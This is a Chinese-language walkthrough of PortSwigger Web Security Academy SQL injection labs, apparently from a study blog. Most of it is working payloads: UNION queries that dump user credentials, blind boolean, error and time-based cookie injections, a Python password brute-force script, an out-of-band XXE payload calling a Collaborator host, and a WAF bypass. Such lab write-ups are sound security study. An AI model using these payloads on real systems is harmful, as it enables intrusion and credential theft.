工具准备(hackerbar)https://chrome.google.com/webstore/detail/ginpbkfigcoaokgflihfhhmglmbchinc
1.WHERE 子句中的 SQL 注入漏洞,允许检索隐藏数据
点击类别pets筛选
payload
1
| ?category=Pets' or '1'='1
|
输入后发现没有进行筛选
所以这是where语句造成的sql注入
实验完成
2.允许绕过登录的 SQL 注入漏洞
使用他提供的用户名进行登录
使用用户名
1
| administrator’+or+'1'='1
|
或者使用万能密码
3.确定查询返回的列数
这一关需要我们判断列数,联合查询判断列数的方法常用两种
1 2
| order by 1 union select 1,2,3
|
这里列数为三因此输入
1 2 3
| ' order by 3 --+ 或者 ' union select null,null,null
|
完成
4.查找包含文本的列
前面知道了有三列
现在这关是让我们测试他的回显,三列在回显的地方填数据,不回显填null
1 2 3
| '+UNION+SELECT+'abcdef',NULL,NULL '+UNION+SELECT+null,'abcdef',NULL '+UNION+SELECT+null,NULL,'abcdef'
|
当不报错时就是完成了实验
5.从其他表中检索数据
1
| '+UNION+SELECT+'abc','def'--
|
发现列数为二而且两列都有返
根据题目提示可以直接查询user表的内容 payload为
1
| '+UNION+SELECT+username,+password+FROM+users--
|
查询出所有账号和密码登录完成实验
6.在单个列中检索多个值
这关虽然有两列但是只有一个回显
使用payload可以在一个回显查询两个列值,用~隔开
1
| '+UNION+SELECT+NULL,username||'~'||password+FROM+users--
|
7.查询Oracle上的数据库类型和版本
这题是针对Oracle的注入
针对不同的数据库进行注入语法会不同
1 2 3
| '+UNION+SELECT+'abc','def'+FROM+dual--
//虽然这个payload是用来判断列数和找回显,但是由于Oracle 数据库的语法要求必须跟着一个表
|
成功找到回显
v$version视图
通过确认v$version视图的banner信息可以确认oracle各组件的版本信息
所以构造payload查询数据库信息
1
| '+UNION+SELECT+banner,'def'+FROM+v$version
|
查询成功
8.在MySQL和Microsoft上查询数据库类型和版本
这一关还是不同数据库的注入熟悉
先确定列数和找出回显
1
| '+UNION+SELECT+'123','123'--+
|
再查询数据库版本
1
| '+UNION+SELECT+version,'123'--+
|
9.列出非Oracle数据库上的数据库内容
找出回显
1
| ' union select '1','2' --+
|
database()执行失败了那直接先列出所有表名再挑
1
| ' union select database(),'2' --+
|
列出所有表名
1
| ‘ union select '1',table_name from information_schema.tables
|
搜索users找到
payload看下列名
1
| 'union select '1',column_name from information_schema.columns where table_name='users_nbosed' --+
|
找到user password 字样的列名 那估计是这个表了
接下来查看数据
1
| 'union select username_aaivbq,password_tlepbn from users_nbosed
|
成功拿到账号密码
10.列出Oracle上的数据库内容
这题是针对Oracle的注入
先找列数和回显
1
| ' union select '1','2' from dual --+
|
先查询所有表
Oracle的语法和mysql不一样,百度
payload
1
| ' union select table_name,'2' from all_tables
|
发现表USERS_PQNBDC
先找列名,所有表是all_tables。盲猜所有列是all_columns
payload
1
| ' union select column_name,'2' from all_columns where table_name='USERS_PQNBDC'--+
|
尴尬,还是百度一下
所有列是all_tab_columns
那payload为
1
| ' union select column_name,'2' from all_tab_columns where table_name='USERS_PQNBDC'--+
|
得到列名
接下来查询数据即可
1
| ' union select USERNAME_YCTHNA,PASSWORD_GLDACZ from USERS_PQNBDC --+
|
11.使用条件响应的盲SQL注入
这关是布尔盲注 注入点在cookie
提示已经给了表名和列名
先确定密码长度,payload
1
| TrackingId=IPgS7VBmdSpwYAOd' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
|
确定了长度为20
payload
1
| ' AND (SELECT substring(password,1,1) FROM users WHERE username='administrator')='a
|
用burp爆破密码设置两个变量 爆破模式为集束炸弹
可以用脚本整理爆破结果
1 2 3
| a={11:'a',17:'a',14:'b',15:'d',16:'g',7:'j',19:'j',8:'k',20:'n',5:'s',10:'t',1:'v',12:'v',18:'z',6:'0',9:'2',2:'3',4:'4',3:'5',13:'8'} for key in sorted(a): print( a[key],end="")
|
不过都使用到脚本了那直接写脚本一键爆破
把url Host Referer cookie里的session TrackingId替换即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import requests url='https://0a6900130436934cc083661000a70023.web-security-academy.net/' h={ "Host":"0a6900130436934cc083661000a70023.web-security-academy.net", "Referer":"https://0a6900130436934cc083661000a70023.web-security-academy.net/product?productId=5", "Upgrade-Insecure-Requests":"1", "cookie":"session=M6dkDdqgjVHZ68qqURJLVyHKDudPXdYq;TrackingId=mh8iapx7aLiba5B7'+AND+(SELECT+substring(password,%d,1)+FROM+users+WHERE+username='administrator')='%s", "Sec-Fetch-Dest":"document", "Sec-Fetch-Mode":"navigate", "Sec-Fetch-Site":"same-origin", "Sec-Fetch-User":"?1" } b='abcdefghijklmnopqrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ' for i in range(21): for n in b: h["Cookie"] %(i,n) res=requests.get(url,headers=h) if 'Welcome' in res.text: print(n,end="")
|
12.具有条件错误的盲SQL注入
参考https://www.shuzhiduo.com/A/MyJx2r1adn/
这关和上一关差不多,只是上一关用Welcome来判断这一关用是否报错判断
用order by 判断列数
1 2
| ' order by 1 --+ //页面正常 ' order by 2 --+ //页面报错
|
因此列数为1
这题的网站使用的是Oracle 数据库,判断方法为
1 2 3 4 5
| #查询一条空数据,由于Oracle 数据库每一条查询都需要带表名,所以会查询失败 TrackingId=xyz'||(SELECT '')||'
#把表名带上查询空数据,如果查询成功说名目标使用Oracle 数据库 '||(SELECT '' FROM dual)||'
|
然后测试密码长度
payload
1
| '||(SELECT CASE WHEN LENGTH(password)>3 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
|
这个payload当语句执行结果正确时网页返回的是报错,所以这里可以得到密码长度为20
题目已经告诉了表名 列名 和用户名 可以直接查询密码
1
| '||(SELECT CASE WHEN SUBSTR(password,2,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
|
13.具有时间延迟的盲SQL注入
这关是延时注入,注入点在cookie
payload判断是否存在
14.具有时间延迟和信息检索的盲SQL注入
在上一题的基础上注出密码,根据给出的payload 注出用户名 密码长度 密码
1 2 3 4 5
| trackingid=x'%3bselect+case+when+(username='administrator')+then+pg_sleep(10)+else+pg_sleep(0)+end+from+users-- 用户名
trackingid=x'%3bselect+case+when+(username='administrator'+and+length(password)>2)+then+pg_sleep(10)+else+pg_sleep(0)+end+from+users
trackingid=x'%3bselect+case+when+(username='administrator'+and+substring(password,2,1)='§a§')+then+pg_sleep(10)+else+pg_sleep(0)+end+from+users-- 密码
|
15.带外交互的盲 SQL 注入
- 访问商店的首页,并使用Burp Suite拦截和修改包含cookie的请求。
TrackingId
- 修改 Cookie,将其更改为将触发与协作者服务器交互的有效负载。例如,您可以将 SQL 注入与基本的 XXE 技术相结合
payload
1 2
| TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
|
使用 burp collaborator client
替换之后的payload为
1
| TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//7y6mp6oqqpi26r9lyv2b8qogn7tyhn.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
|
实验即可完成
16.带外数据泄露的盲 SQL 注入
在上一题的基础上进行交互
点击poll now进行交互 登陆得到的admin账号密码即可通关
17.通过 XML 编码使用过滤器旁路的 SQL 注入
点击进入商品页面
点击
抓包,发现有xml代码,而且可以用表达式控制 1+1 和 2 的返回结果是一样的因此可能存在注入
接下来直接尝试注入
发现有waf
在提示里有绕waf的提示
绕过 WAF
- 在注入 XML 时,请尝试使用 XML 实体对有效负载进行模糊处理。一种方法是使用 Hackvertor 扩展。只需突出显示您的输入,右键单击,然后选择 Hackvertor >扩展>编码 > dec_entities/hex_entities。
- 重新发送请求,并注意您现在收到来自应用程序的正常响应。这表明您已成功绕过 WAF。
例1 进行base64编码:
<@base64_0>xz<@/base64_0>
例2 进行多级编码(multiple levels of encoding):
<@base64_1><@hex_0(" ")>xz<@/hex_0><@/base64_1>
先安装Hackvertor
使用payload
1
| <@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities>
|
得到密码登录即可